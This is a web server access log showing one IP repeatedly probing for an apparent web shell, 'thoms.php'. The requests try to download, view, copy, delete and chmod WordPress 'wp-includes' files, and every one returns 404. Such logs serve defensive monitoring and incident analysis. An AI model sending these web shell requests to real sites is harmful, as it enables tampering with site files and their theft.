45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?dl=abilities-api.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?dl=block-i18n.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?chmod=class-phpass.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?del=class-json.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?dl=link-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?chmod=SimplePie&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fbookmark.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fbookmark.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-default-constants.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-default-constants.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?chmod=query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fhttps-migration.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fhttps-migration.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?chmod=theme-previews.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?chmod=php-ai-client&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?del=class-walker-page.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-feed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-feed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:25 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?dl=class-wp-http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?chmod=default-widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?dl=class-wpdb.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fdeprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fdeprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?dl=ms-site.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?del=admin-bar.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-json.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-json.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?del=class-wp-error.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=vars.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?del=author-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?del=template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?del=vars.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=vars.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:27 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fai-client.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fai-client.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
